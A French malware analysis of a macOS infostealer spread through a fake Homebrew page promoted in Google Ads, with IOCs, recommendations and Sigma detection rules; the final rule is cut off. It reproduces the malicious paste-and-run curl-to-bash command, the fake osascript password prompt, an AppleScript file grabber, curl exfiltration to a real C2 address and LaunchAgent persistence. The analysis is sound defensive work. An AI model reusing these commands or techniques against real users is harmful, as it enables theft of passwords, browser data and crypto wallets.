Skip to content

Analyse d’une campagne d'infostealer macOS se faisant passer pour Homebrew via Google Ads

Le 29 avril 2026
Contexte : réponse à incident / analyse malware / threat intel

Ce rapport analyse une campagne d’infostealer ciblant macOS. Il détaille la chaîne d’infection, le fonctionnement du malware ainsi que les mécanismes de détection et les mesures de remédiation.

1. Résumé de la chaîne d’infection

Le tableau ci-dessous synthétise les principales étapes de l’infection observée :

Étape Phase Description
1 Vecteur d'attaque Usurpation de Homebrew via une page frauduleuse sponsorisée.
2 Exécution Téléchargement et exécution du payload Brewshka depuis une commande shell.
3 Credential Access Faux prompt macOS pour récupérer le mot de passe utilisateur.
4 Collection & Exfiltration Collecte de données sensibles (mots de passe navigateur, wallets, fichiers utilisateur), puis exfiltration vers le C2.
5 Persistance Mise en place d’un LaunchAgent pour maintenir l’accès.

2. Scénario et vecteur d'attaque

Dans le cadre d’une investigation menée dans mon entreprise, une alerte EDR a mis en évidence un comportement suspect impliquant curl, avec téléchargement puis exécution d’un binaire depuis une infrastructure externe. L’analyse de l’incident a permis de reconstituer une chaîne d’infection reposant sur l’usurpation de Homebrew, gestionnaire de paquets utilisé par les utilisateurs de macOS.

Le scénario observé est celui d’une campagne de social engineering. La victime, voulant installer Homebrew, recherche homebrew sur son navigateur et clique un site frauduleux présenté comme légitime, mis en avant via un résultat sponsorisé.

Il convient de noter qu’au moment de la rédaction de cet article, la page frauduleuse n'est plus accessible. L’URL observée lors de l’incident était celle-ci.

La page malveillante reprend les codes du site officiel d'homebrew et invite l’utilisateur à copier-coller une commande d’installation dans son terminal. La commande fournie sur la page frauduleuse et exécutée par l’utilisateur est la suivante :

echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzE0NC4zMS4yMzYuNTEvWW9raWZvemEpIg==' | base64 -d | bash
Après décodage, elle correspond à :
/bin/bash -c "$(curl -fsSL http://144.31.236.51/Yokifoza)"

Cette première commande contacte un serveur distant afin de récupérer une seconde commande shell, exécutée sur la machine :

Réponse du serveur Yokifoza contenant la commande de téléchargement du payload

Figure 1 — Commande shell sur infrastructure distante

cd $TMPDIR && curl -O http://144.31.236.51/Brewshka && xattr -c ./Brewshka && chmod +x ./Brewshka && ./Brewshka

Cette chaîne d’exécution montre que l’utilisateur déclenche lui-même, depuis le terminal, le téléchargement et l’exécution du payload. Le script récupère un binaire nommé Brewshka, supprime ses attributs étendus via xattr -c, lui attribue les droits d’exécution, puis le lance immédiatement depuis le répertoire temporaire de l’utilisateur.

L’intérêt de cette chaîne d’infection pour l’attaquant est double. D’une part, elle s’appuie sur une action légitime en apparence, l’utilisateur croyant installer un outil connu et fiable. D’autre part, elle contourne une partie de la méfiance habituelle associée au téléchargement de binaires, puisque l’exécution est initiée directement par une commande shell présentée comme une procédure d’installation standard.

3. Fingerprinting

Le binaire récupéré et exécuté sur la machine compromise est nommé Brewshka. Les empreintes calculées sur l’échantillon analysé sont les suivantes :

Md5 27010951848d037013b3fdcb94c162e7  Brewshka
Sha1 831898665d5fd4966ab4012410da6c3ab6e4039b  Brewshka
Sha256 67e6dc4b6407aa9909a5cd25c918dbff75d2b174efedcae0a037fe517fc6ece0  Brewshka

Empreinte ssdeep :

ssdeep Brewshka 
ssdeep,1.1--blocksize:hash:hash,filename
6144:rU7HX6JxtMMy/Oj174Kfiu7n0EZGSpoFD6o/JPCBs5YNGj9TXaow5uO:rULutW/Oj174KfiuL0Ipm/JaBs5WGds,"/root/Documents/Brewshka"

Codesign :

codesign -dvvv Brewshka 
Executable=/Users/david/Brewshka
Identifier=Brewshka
Format=Mach-O universal (x86_64 arm64)
CodeDirectory v=20400 size=2977 flags=0x2(adhoc) hashes=83+7 location=embedded
Hash type=sha256 size=32
CandidateCDHash sha256=638f55b7400230c281c0ffcd8ab1856cf3b776a6
CandidateCDHashFull sha256=638f55b7400230c281c0ffcd8ab1856cf3b776a6ec3fe8a4320e5749dd0136f3
Hash choices=sha256
CMSDigest=638f55b7400230c281c0ffcd8ab1856cf3b776a6ec3fe8a4320e5749dd0136f3
CMSDigestType=2
CDHash=638f55b7400230c281c0ffcd8ab1856cf3b776a6
Signature=adhoc
Info.plist=not bound
TeamIdentifier=not set
Sealed Resources=none
Internal requirements count=0 size=12

L’échantillon est référencé sur VirusTotal à l’adresse suivante : https://www.virustotal.com/gui/file/67e6dc4b6407aa9909a5cd25c918dbff75d2b174efedcae0a037fe517fc6ece0/details

Score VirusTotal du binaire Brewshka (SHA-256)

Figure 2 — Scan VirusTotal de l’échantillon.

Info

Au moment de l’analyse, l'échantillon était déjà identifié comme malveillant, avec un premier enregistrement le 2026-04-21 05:42:17 UTC. Il s'agit donc d'un échantillon très récent et d'une campagne encore active (Le 21/04/2026).

4. Analyse technique

D’abord, une analyse avec Detect It Easy montre que l’échantillon est un exécutable Mach-O compilé en C++.

Analyse Detect It Easy du Mach-O universel Brewshka

Figure 3 — Identification du format et de la stack de compilation par DiE.

L’analyse, avec Ghidra, se poursuit en se concentrant sur la fonction entry(), qui permet d’observer les premières actions réalisées par le binaire au lancement.

4.1 Exécution initiale et furtivité

La première observation marquante dans la fonction entry() est l’usage du couple fork() / setsid(). Le malware commence par créer un processus enfant via l'appel système fork(). Si l’appel échoue, l’exécution s’arrête. En revanche, si fork() réussit, seul le processus fils poursuit son exécution et appelle ensuite setsid() afin de devenir indépendant de la session courante. Ce schéma ressemble à celui d'un programme cherchant à s’exécuter en arrière-plan.

Vue Ghidra de entry : fork, setsid et exécution en arrière-plan

Figure 4 — Fork, détachement et fermeture du Terminal

Juste après cette phase de détachement, le code prépare puis exécute une commande système correspondant à killall Terminal. Les valeurs stockées dans local_f80 et uStack_f78 se lisent en little endian, puis sont passées à _system((char *)&local_f80). L’objectif est de fermer le terminal afin d'être furtif. Le malware récupère ensuite l’identité de l’utilisateur courant au moyen de _getuid() et _getpwuid().

4.2 Désobfuscation de la configuration

Entre l’exécution de la commande système killall Terminal et la récupération du contexte utilisateur, le malware appelle build_info_t::build_info_t((build_info_t *)&local_5440). L’analyse du constructeur montre la présence d’une routine de désobfuscation reposant sur un XOR.

Routine Ghidra de désobfuscation XOR avec rotation de clé 64 bits

Figure 5 — XOR avec rotation de clé

Plusieurs variables permettent de comprendre le mécanisme de désobfuscation ci-dessus. DAT_100048310 correspond au début du blob global obfusqué. La variable DAT_100048308 contient sa taille totale, soit 0x12F, c’est-à-dire 303 octets. La variable local_a0 reçoit la valeur de _g_serialized_build_info, qui sert de clé initiale de 64 bits. Cette clé est stockée sous la forme de f6 10 dd bb 60 dc 79, soit 0x79DC60BBDD10F6DE en little endian.

Le malware parcourt ensuite les 303 octets du blob situé à partir de DAT_100048310 et applique une opération XOR octet par octet. Pour chaque octet, il utilise une partie de la clé, puis fait tourner cette clé d’un bit vers la droite avant de passer au suivant.

Un script Python peut donc être élaboré afin de reproduire cette routine hors ligne. Après extraction des 303 octets du blob depuis le binaire, le même XOR et la même rotation de clé peuvent être appliqués :

def ror64(x, r=1):
    return ((x >> r) | ((x << (64 - r)) & 0xffffffffffffffff)) & 0xffffffffffffffff

def decrypt(data, seed):
    out = bytearray()
    key = seed

    for i, b in enumerate(data):
        key_byte = (key >> ((i & 7) * 8)) & 0xff
        out.append(b ^ key_byte)
        key = ror64(key, 1)

    return bytes(out)

data = bytes.fromhex("""
85 7b 44 7b 6f e3 e7 bc fe 88 b5 65 a3 b9 0a 85 7b 8f 2f 8c 86 f3 b3 55
a9 2d 22 14 c8 87 7a 8c 95 02 42 fe 43 b6 44 40 4e df a9 ea 35 db df f1
ec 3f b7 1d d1 ae e6 de 7a 6f 49 da c9 06 71 81 aa 1d 44 7b 19 e3 b4 c5
85 fc 92 7a e6 9e 0b 88 76 8b 5c e9 f3 90 be 52 85 5d 41 54 92 96 2d df
de 54 57 bb 02 a7 17 18 0e 88 f7 bc 7a 9a 8a e1 af 45 c4 6a b4 b3 a2 cb
1c 1b 49 cb d3 62 02 d3 bc 1e 22 14 79 86 c7 ce 83 e6 99 7e a8 a9 59 8c
60 9e 42 e5 fe 92 af 48 b2 33 36 31 b7 da 26 db c8 55 57 aa 03 f3 11 05
40 9e ff a8 7c 9f 80 b3 b8 12 a5 1e 82 a7 f1 cc 1c 02 1d f2 cf 60 17 96
ac 1e 2a 18 6e 90 b8 bc af e7 82 65 e6 83 18 8e 30 8a 41 e9 ee d3 b5 4e
a9 7d 6b 4e 97 c6 2c c8 cf 10 16 bf 1d eb 1d 14 01 9a f7 b4 61 c6 cf 95
ae 45 97 6c b4 b7 ec cb 0d 0e 51 ce d4 6b 16 d3 b1 09 64 1f 64 94 89 d0
99 e9 93 7e a8 a9 59 9b 75 9c 5d e5 f2 9d fb 47 b2 2f 38 42 88 c3 31 9a
c8 49 04 bb 08 ea 5a 76 61 ef 9f da 0e e8 ef
""")

seed = 0x79DC60BBDD10F6DE
plain = decrypt(data, seed)

print(plain.decode(errors="ignore"))

La sortie du script est :

Brewshkattp://196.251.107.171:3000pdftxtrtfSystem PreferencesXYou need to configure system settings before running application.
Please enter password.System Preferences_Your Mac does not support application. Try reinstalling or downloading version for your system.

De manière plus structurée :

Brewshka
http://196.251.107.171:3000
pdf
txt
rtf
System Preferences
You need to configure system settings before running application. Please enter password.
System Preferences
Your Mac does not support application. Try reinstalling or downloading version for your system.

On y retrouve l'URL distante (http://196.251.107.171:3000), probablement utilisée comme Command and Control (C2). La liste d’extensions (pdf, txt, rtf) suggère un ciblage de certains types de fichiers lors de la collecte de données. Enfin, plusieurs chaînes correspondent à des messages destinés à l’utilisateur, dont un faux dialogue System Preferences incitant à saisir un mot de passe. Cela indique une composante de social engineering local visant à récupérer des identifiants.

L’adresse IP 196.251.107.171 est également signalée comme malveillante sur VirusTotal :

Rapport VirusTotal pour l’adresse IP du C2 196.251.107.171

Figure 6 — Réputation et signalements du C2.

4.3 Reconnaissance système

Ensuite, le malware crée un répertoire caché .hlpr dans le répertoire personnel de l’utilisateur.

Construction du chemin ~/.hlpr dans le binaire

Figure 7 — Construction et création du répertoire ~/.hlpr

Ce répertoire semble servir d’espace pour stocker certains fichiers. Le malware prépare également un fichier nommé System Information.txt, puis reconstruit et exécute la commande suivante via popen() en mode lecture :

system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType 2>/dev/null
Cette commande permet de collecter des informations sur l’environnement macOS compromis : version du système et détails logiciels via SPSoftwareDataType, caractéristiques matérielles de la machine via SPHardwareDataType — modèle, processeur, mémoire, numéro de série — ainsi que les informations liées à l’affichage via SPDisplaysDataType.

Exécution de system_profiler pour SPSoftware, SPHardware et SPDisplays

Figure 8 — Reconnaissance système via system_profiler

À ce stade, il faut distinguer deux espaces de travail utilisés par le malware. Le premier est ~/.hlpr, un répertoire caché dans le profil utilisateur, qui sert de stockage auxiliaire pour certains fichiers intermédiaires comme le mot de passe du faux prompt. Le second est un répertoire temporaire généré aléatoirement créé dans le dossier temporaire du système. Ce second répertoire joue le rôle de répertoire principal de collecte : c’est là que sont regroupés les artefacts volés avant compression en archive ZIP puis exfiltration vers le C2. Autrement dit, ~/.hlpr est utilisé pour le fonctionnement local du malware, tandis que le répertoire temporaire est dédié aux données destinées à l’exfiltration.

4.4 Faux prompt et récupération du mot de passe

Ensuite, le malware utilise le répertoire caché ~/.hlpr. Il y construit le chemin .hlpr/.pass, destiné à stocker ou réutiliser le mot de passe récupéré :

Assemblage du chemin ~/.hlpr/.pass pour stockage du mot de passe

Figure 9 — Construction du chemin ~/.hlpr/.pass

Le malware poursuit ensuite son exécution avec la construction d’une commande AppleScript destinée à afficher un faux prompt système. La commande reconstituée est la suivante :

osascript -e 'display dialog "You need to configure system settings before running application. Please enter your password." default answer "" with icon caution buttons {"Continue"} default button "Continue" with hidden answer' 2>/dev/null

Reconstruction de la commande osascript display dialog en chaînes

Figure 10 — Construction du faux prompt osascript.

Cette commande affiche une boîte de dialogue macOS frauduleuse imitant un prompt système et demandant le mot de passe de l’utilisateur. L’option default answer "" crée un champ de saisie, tandis que with hidden answer masque les caractères entrés. On observe que cette commande n’est pas présente d’un seul bloc, mais reconstruite progressivement à partir de plusieurs constantes, puis finalement exécutée via popen(). La boîte de dialogue ci-dessous illustre le rendu du faux prompt affiché à l’utilisateur.

Boîte de dialogue macOS imitant une demande de mot de passe système

Figure 11 — Boîte de dialogue demandant le mot de passe de l'utilisateur.

Après avoir récupéré la valeur saisie dans le faux prompt, le malware vérifie localement la validité du couple utilisateur / mot de passe. La commande reconstruite est :

dscl . -authonly '<utilisateur>' '<mot_de_passe>' 2>/dev/null
Si le mot de passe est valide, il est d’abord conservé localement dans ~/.hlpr/.pass, ce qui permet au malware de le réutiliser au cours de son exécution. Il sera ensuite également ajouté au répertoire principal de collecte sous la forme d’un fichier User Password.txt destiné à l’exfiltration.

4.5 Collecte du trousseau macOS

Ensuite, le malware cible le trousseau macOS de l’utilisateur. Le chemin Library/Keychains/login.keychain-db est construit, puis concaténé avec le répertoire personnel de l’utilisateur afin d’obtenir le chemin complet du fichier Keychain.

Construction du chemin complet vers login.keychain-db

Figure 12 — Construction fichier login.keychain-db

Le fichier est copié vers le répertoire principal de collecte du malware, c’est-à-dire le répertoire qui sera ensuite compressé puis exfiltré. Dans l’appel à std::__fs::filesystem::__copy_file(...), local_1ac0 correspond au chemin source du Keychain utilisateur, tandis que local_4f0 correspond au chemin de destination. Cette copie montre que le malware collecte le fichier login.keychain-db, qui contient des données sensibles liées au trousseau macOS.

Appel __copy_file du Keychain vers le répertoire de staging

Figure 13 — Copie de login.keychain-db vers le répertoire de collecte

Le malware copie ensuite le fichier ~/Library/Keychains/login.keychain-db, puis tente de l’exploiter hors ligne. Le fichier est ouvert, mappé en mémoire avec mmap, puis certaines structures internes sont parcourues. Le mot de passe récupéré est utilisé avec CCKeyDerivationPBKDF(...) pour dériver une clé, ensuite passée à CCCrypt(...). Cette séquence montre une tentative de déchiffrement de données protégées du Keychain.

Cette phase montre pourquoi la récupération du mot de passe utilisateur est centrale dans la chaîne d’infection. Le mot de passe n’est pas seulement stocké dans ~/.hlpr/.pass comme artefact local : il est aussi copié dans le répertoire principal de collecte sous la forme de User Password.txt, au même titre que les autres données destinées à l’exfiltration.

4.6 Collecte des données navigateur

4.6.1 Navigateurs Chromium

Le malware entre ensuite dans une phase de collecte centrée sur les navigateurs installés sur la machine. L’objectif n’est pas seulement de récupérer des identifiants enregistrés, mais plus largement des données de session, d’autocomplétion et de configuration susceptibles d’être réutilisées par l’attaquant.

Dans le code, cette logique se traduit par la reconstruction d’une liste de navigateurs ciblés — Arc, Brave, Chrome, Chrome Beta, CocCoc Browser, Chrome Canary, Chromium, Edge, Opera, OperaGX, Vivaldi ou encore Yandex — ainsi que d’une série d’artefacts associés. Parmi eux figurent notamment Cookies, Login Data, Web Data, Preferences, ainsi que des artefacts spécifiques à Yandex comme Ya Autofill Data, Ya Credit Cards et Ya Passman Data. Ces fichiers peuvent contenir des identifiants enregistrés, des sessions web, des données d’autofill ou encore des éléments de configuration du navigateur.

Liste des navigateurs Chromium ciblés par le stealer

Figure 14 — Exemple de noms d’applications construites dans le binaire.

La capture suivante illustre certains des artefacts reconstruits par le malware pour cette phase de collecte.

Artefacts de profil Chromium (Cookies, Login Data, Web Data, etc.)

Figure 15 — Exemple d'artefacts Chromium.

Une fois les navigateurs et les fichiers ciblés définis, le malware utilise une boucle pour parcourir les artefacts à collecter. Pour chaque élément, il assemble le chemin vers le fichier recherché dans le profil du navigateur courant. Par exemple, si le navigateur courant est Google Chrome et que l’artefact ciblé est Login Data, le malware peut reconstruire un chemin du type : ~/Library/Application Support/Google/Chrome/Default/Login Data

Boucle de reconstruction des chemins Application Support par navigateur

Figure 16 — Assemblage des chemins source pour chaque artefact.

Le malware vérifie l'existence du fichier avec std::__fs::filesystem::__status(...). Si le fichier est présent, il construit un chemin de destination dans son répertoire principal de collecte, recrée l’arborescence avec std::__fs::filesystem::__create_directories(...), puis copie l’artefact avec std::__fs::filesystem::__copy_file(...).

4.6.2 Navigateurs Gecko

Le malware ne se limite pas aux navigateurs Chromium. Une autre section du code cible les navigateurs basés sur Gecko, notamment Firefox, LibreWolf, SeaMonkey, Tor Browser, Waterfox et Zen. Les artefacts recherchés incluent cookies.sqlite, formhistory.sqlite, key4.db et logins.json.

Artefacts Gecko : cookies.sqlite, formhistory, key4.db, logins.json

Figure 17 — Exemple d'artefacts Gecko

Ces fichiers sont sensibles : cookies.sqlite contient les cookies de navigation, logins.json stocke les identifiants enregistrés, tandis que key4.db est utilisé par Firefox pour protéger les secrets stockés. Cette partie confirme donc une volonté de collecter les données navigateur au-delà de l’écosystème Chromium.

4.6.3 Safari

Enfin, le malware cible Safari. Le code reconstruit d’abord le nom Safari, puis le fichier Cookies.binarycookies, utilisé par Safari pour stocker les cookies de navigation.

Constantes Safari et Cookies.binarycookies dans le code

Figure 18 — Exemple d'artefacts Safari

Quelques lignes plus loin, le malware reconstruit le chemin du répertoire de cookies Safari : Library/Containers/com.apple.Safari/Data/Library/Cookies. Il applique ensuite la même logique de collecte que pour les autres navigateurs. Une boucle parcourt les artefacts Safari ciblés, puis construit le chemin source en concaténant le répertoire des cookies Safari avec le nom de l’artefact recherché. Dans ce cas, le chemin source correspond donc au fichier original présent sur la machine de l’utilisateur, par exemple : ~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies

Dans la boucle, le malware vérifie l’existence du fichier avec std::__fs::filesystem::__status(...), puis, si le fichier est présent, crée l’arborescence de destination et le copie vers le répertoire principal de collecte avec std::__fs::filesystem::__copy_file(...).

Copie de Cookies.binarycookies vers le répertoire de staging

Figure 19 — Transfert des données Safari vers la zone de collecte.

4.7 File grabbing

D'autre part, le malware reconstruit une longue commande osascript. Celle-ci contient un script AppleScript chargé de parcourir les dossiers utilisateur et de copier certains fichiers vers le répertoire de collecte. La commande peut être reconstruite de manière lisible comme suit :

osascript -e '
on mkdir(someItem)
    set filePosixPath to quoted form of (POSIX path of someItem)
    do shell script "mkdir -p " & filePosixPath
end mkdir

on filegrabber(outputDirectory, extensionsList, maxFilesSize)
    set destinationFolderPath to POSIX file outputDirectory
    mkdir(destinationFolderPath)

    set bankSize to 0
    set fileCounter to 0

    tell application "Finder"
        set desktopFiles to every file of desktop
        set documentsFiles to every file of folder "Documents" of (path to home folder)
        set downloadsFiles to every file of folder "Downloads" of (path to home folder)

        repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
            set fileExtension to name extension of aFile

            if fileExtension is in extensionsList then
                set fileSize to size of aFile

                if (bankSize + fileSize) < maxFilesSize then
                    set newFileName to (fileCounter as string) & "." & fileExtension

                    duplicate aFile to folder destinationFolderPath with replacing

                    set copiedFiles to every file of folder destinationFolderPath
                    set lastCopiedFile to item -1 of copiedFiles
                    set name of lastCopiedFile to newFileName

                    set bankSize to bankSize + fileSize
                    set fileCounter to fileCounter + 1
                end if
            end if
        end repeat
    end tell
end filegrabber

filegrabber("<repertoire_de_collecte>", {"pdf", "txt", "rtf"}, 10 * 1024 * 1024)
' 2>/dev/null

Cette commande définit une fonction filegrabber(...). Elle parcourt les fichiers présents sur le Bureau, dans Documents et dans Téléchargements. Pour chaque fichier trouvé, le script récupère son extension et vérifie si elle appartient à la liste ciblée. Cette liste correspond aux extensions retrouvées dans la configuration désobfusquée du malware, notamment pdf, txt et rtf.

Si le fichier correspond aux critères et que la taille totale collectée reste inférieure à la limite définie, il est copié vers le répertoire de collecte du malware. Le fichier copié est ensuite renommé avec un compteur numérique, par exemple 0.pdf, 1.txt, etc. Cette étape montre que le malware ne se limite pas aux navigateurs : il cherche également à récupérer des documents utilisateur potentiellement sensibles.

4.8 Collecte de Wallets

Le malware contient aussi une phase dédiée à la collecte de wallets de cryptomonnaies. Il reconstruit d’abord un répertoire de destination nommé Wallets dans son dossier de collecte, puis parcourt une liste de wallets connus afin de vérifier la présence de leurs fichiers locaux sur la machine compromise.

Les wallets ciblés incluent notamment Electrum, Exodus, Atomic, Wasabi, Monero, Bitcoin, Litecoin, DashCore, Electrum-LTC, Electron Cash, Guarda, Dogecoin, Binance, Tonkeeper, Ledger Live et Ledger Wallet.

Pour chaque wallet, le malware reconstruit le chemin attendu dans le répertoire utilisateur, par exemple dans ~/Library/Application Support/ pour les applications macOS classiques, ou dans des répertoires cachés comme .electrum, .electrum-ltc, .electron-cash ou .walletwasabi.

L’exemple ci-dessous montre le ciblage du wallet Wasabi. Le malware reconstruit le nom du wallet, puis le chemin .walletwasabi/client/Wallets, avant de vérifier son existence sur la machine.

Vérification du chemin ~/.walletwasabi/client/Wallets

Figure 20 — Exemple de wallet ciblé : Wasabi

Lorsque les fichiers ou dossiers sont présents, ils sont copiés vers le répertoire principal de collecte. Le malware parcourt le répertoire wallet, crée l’arborescence de destination dans ce dossier de collecte, puis copie les fichiers trouvés.

Copie récursive des fichiers wallet vers le dossier Wallets/

Figure 21 — Envoi des données des wallets vers le répertoire de staging.

Les artefacts ciblés varient selon le wallet. Pour certains wallets comme Bitcoin, Litecoin ou DashCore, le malware recherche notamment des fichiers de type wallet.dat. Pour les wallets basés sur Electron ou utilisant du stockage local, comme Atomic, Guarda, Tonkeeper ou Ledger, il cible également des répertoires de type Local Storage/leveldb, ainsi que des fichiers associés comme CURRENT, MANIFEST, .ldb ou .log. Ces fichiers peuvent contenir des données sensibles liées aux sessions, aux comptes ou aux secrets applicatifs.

4.9 Exfiltration

Après la collecte, le malware centralise les artefacts volés dans un répertoire temporaire aléatoire qui constitue sa véritable zone de staging. Dans le code, ce répertoire est obtenu à partir de std::__fs::filesystem::__temp_directory_path(...), puis complété par un identifiant hexadécimal aléatoire de 32 caractères. Le chemin final prend la forme <temp_directory>/<random_hex_32>/. Dans entry(), il est stocké dans local_54a0 et sert de répertoire principal de collecte.

Création du répertoire temporaire aléatoire (staging local_54a0)

Figure 22 — Création du répertoire temporaire de staging.

Ensuite, le malware construit une archive ZIP. Le nom de l’archive est dérivé du nom du répertoire de collecte, auquel l’extension .zip est ajoutée. L’archive est donc créée sous la forme : <temp_directory>/<random_hex_32>.zip

Commande ditto -c -k pour générer l’archive ZIP du staging

Figure 23 — Compression du répertoire de collecte avant exfiltration.

La commande utilisée pour la création de l'archive est la suivante :

ditto -c -k --sequesterRsrc '<temp_directory>/<random_hex_32>' '<temp_directory>/<random_hex_32>.zip' 2>/dev/null

Le malware prépare ensuite une commande curl pour envoyer l’archive ZIP vers le C2. L’URL d’exfiltration n’apparaît pas directement en clair dans ce bloc : elle est récupérée depuis la configuration désobfusquée plus tôt dans l’analyse. Dans entry(), cette valeur est réinjectée dans la construction de la requête HTTP après reconstruction de la configuration par build_info_t. La variable local_5420 correspond alors à l’URL C2 issue du blob désobfusqué. L’analyse de ce blob a montré que l’URL utilisée est la suivante : http://196.251.107.171:3000.

L’accès à cette adresse expose une page d’authentification intitulée MioLab Access. Cette observation est cohérente avec les recherches publiques disponibles sur MioLab : Broadcom décrit MioLab comme un stealer macOS proposé via un framework de type Malware-as-a-Service, tandis que LevelBlue documente une campagne MioLab ciblant macOS et reposant sur un panneau web côté opérateur. La présence de cette interface renforce donc l’hypothèse que 196.251.107.171:3000 correspond à l’infrastructure C2 utilisée pour recevoir les données exfiltrées

Portail d’authentification MioLab sur l’hôte C2 HTTP

Figure 24 — Serveur web exposé sur 196.251.107.171:3000.

Cette valeur, sous la forme IP:port, est ensuite réutilisée dans le bloc d’exfiltration via local_5420. Le malware reconstruit d'abord la commande curl : curl --fail -X POST puis concatène avec local_5420, qui correspond à l’URL C2 issue de la configuration désobfusquée.

Construction de curl --fail -X POST vers l’URL C2

Figure 25 — Assemblage de la ligne de commande d’exfiltration.

Le malware ajoute ensuite l’endpoint d’upload ainsi que le premier champ multipart user_id :

Concaténation de /api/reports/upload et du champ multipart user_id

Figure 26 — Ajout de l’endpoint /api/reports/upload et du champ multipart user_id

La suite du code complète ensuite la commande avec les champs build_tag et report_file. À ce stade, l’URL complète utilisée pour l’exfiltration est donc : http://196.251.107.171:3000/api/reports/upload. L’envoi est réalisé au format multipart/form-data grâce aux options -F de curl. Le malware transmet un identifiant utilisateur, un tag de build et l’archive ZIP contenant les données collectées. Le caractère @ devant le chemin de l’archive indique à curl de lire ce fichier local et de l’envoyer comme pièce jointe.

La commande complète reconstruite est :

curl --fail -X POST http://196.251.107.171:3000/api/reports/upload \
  -F "user_id=<id>" \
  -F "build_tag=<tag>" \
  -F "report_file=@<temp_directory>/<random_hex_32>.zip" \
  2>/dev/null

L’option --fail permet à curl de retourner un code d’erreur si la requête échoue côté HTTP. Le malware exécute la commande via _popen(), lit sa sortie avec fgets(...), puis récupère son code retour avec _pclose(). Si le code retour est différent de zéro, une erreur Failed to send report est levée. Si l’exfiltration réussit, l’archive ZIP locale est supprimée.

4.10 Persistance

Après l’exfiltration, le malware met en place une persistance utilisateur via un LaunchAgent macOS. Ce mécanisme permet d’exécuter automatiquement un programme à l’ouverture de session, sans nécessiter de privilèges administrateur. Le malware reconstruit en mémoire le contenu d’un fichier .plist LaunchAgent. Le champ ProgramArguments contient le chemin du binaire à relancer, inséré dynamiquement lors de la construction du fichier.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.hlpr.agent</string>
    <key>ProgramArguments</key>
    <array>
        <string><chemin_du_binaire></string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>StandardOutPath</key>
    <string>/dev/null</string>
    <key>StandardErrorPath</key>
    <string>/dev/null</string>
</dict>
</plist>

Le fichier .plist est ensuite écrit dans le répertoire LaunchAgents de l’utilisateur : ~/Library/LaunchAgents/com.hlpr.agent.plist. Enfin, le malware charge l’agent avec launchctl, afin d’activer immédiatement la persistance : launchctl load ~/Library/LaunchAgents/com.hlpr.agent.plist

4.11 Faux message d’erreur final

En fin d’exécution, le malware affiche un message à l’utilisateur avec la commande osascript afin d’afficher une boîte de dialogue macOS. Ce message vise à tromper l’utilisateur en simulant une erreur système légitime, afin de masquer l’exécution du malware et de ne pas éveiller de soupçons.

osascript -e 'display dialog "Your Mac does not support application. Try reinstalling or downloading version for your system." with title "System Preferences" with icon 0 buttons {"OK"}' " 

Boîte de dialogue finale usurpant une erreur « System Preferences »

Figure 27 — Boîte de dialogue finale indiquant que le Mac ne supporte pas l'application

5. Analyse de la menace

L’analyse de cet échantillon montre de fortes similarités avec les campagnes associées à MioLab Infostealer, notamment dans les commandes utilisées, la structure du C2 et les mécanismes d’exfiltration. Le vecteur d’infection repose sur une combinaison de malvertising et de social engineering, incitant l’utilisateur à exécuter lui-même une commande ou à installer un logiciel malveillant.

MioLab s’inscrit dans un modèle de Malware-as-a-Service (MaaS) particulièrement industrialisé, avec une infrastructure incluant panneau web, API et génération automatisée de payloads. Des éléments issus de sources ouvertes indiquent que ce type d’offre peut être proposé sous forme d’abonnement (plusieurs centaines à ~1000 $ par mois selon les options), et que l’écosystème MioLab aurait déjà touché plus de 16 000 victimes.

Le malware analysé semble ainsi s’intégrer dans cet écosystème, caractérisé par des campagnes opportunistes à grande échelle visant la monétisation rapide (vol d’identifiants, sessions et crypto-actifs)

6. Recommandations

La prévention de ce type de menace repose sur plusieurs mesures complémentaires :

  • Rotation immédiate des mots de passe saisis ou stockés
  • Sensibiliser les utilisateurs (faire des exercices)
  • Mettre en place un monitoring des comportements anormaux, notamment l’utilisation d’outils système comme osascript, dscl ou system_profiler lorsqu’ils sont invoqués par des binaires non signés.
  • Éviter le stockage de mots de passe dans les navigateurs, au profit de gestionnaires de mots de passe dédiés.
  • Appliquer une politique stricte de code signing, en limitant l’exécution aux applications disposant d’une signature valide.
  • Auditer l’accès aux données sensibles, comme le Keychain (login.keychain-db) et les répertoires de profils navigateurs.
  • Bloquer les domaines et adresses IP malveillants identifiés, et surveiller les requêtes HTTP suspectes, notamment les curl en POST vers des APIs externes.

7. Détection

Afin de détecter cette campagne d’infostealer, plusieurs mécanismes peuvent être mis en place. L’idée est d’adopter une approche de défense en profondeur, afin de couvrir efficacement les différents comportements du malware. On peut ainsi s’appuyer sur des analyses côté hôte (host-based) et réseau (network-based).

7.1 Détection côté hôte (Sigma)

Une première piste de détection consiste à identifier le mécanisme de récupération du mot de passe utilisateur. Comme observé précédemment, le malware utilise osascript afin d’afficher une boîte de dialogue frauduleuse, en s’appuyant sur l’option hidden answer pour masquer la saisie.

Ce comportement peut être détecté via une règle Sigma ciblant l’exécution de osascript avec des arguments caractéristiques d’un faux prompt système.

title: Suspicious osascript Password Prompt (Infostealer Behavior)
id: 8164eba3-cb45-4b39-b22a-96d736012cec
description: Detects suspicious AppleScript dialogs requesting hidden input (possible credential harvesting)
author: Antoine Romet


logsource:
  category: process_creation
  product: macos

detection:
  selection_proc:
    Image|endswith: "/osascript"

  selection_behavior:
    CommandLine|contains|all:
      - "display dialog"
      - "hidden answer"

  selection_keywords:
    CommandLine|contains:
      - "password"
      - "System Preferences"
      - "configure system settings"

  condition: selection_proc and selection_behavior and 1 of selection_keywords

falsepositives:
  - Rare legitimate admin scripts using osascript prompts

level: high
Une seconde piste de détection consiste à corréler plusieurs comportements suspects observés au cours de l’analyse, afin d’identifier des patterns caractéristiques d’un infostealer macOS.

title: macOS Infostealer Behavioral Pattern (Multi-Signal)
id: 16d7ba78-3aa3-4e0e-bc63-acef634021eb
description: Detects a combination of suspicious behaviors associated with macOS infostealers, including execution from temporary directories, credential access, defense evasion, and stealth techniques
author: Antoine Romet

logsource:
  category: process_creation
  product: macos

detection:
  selection_xattr:
    Image|endswith: "/xattr"
    CommandLine|contains: "-c"

  selection_dscl:
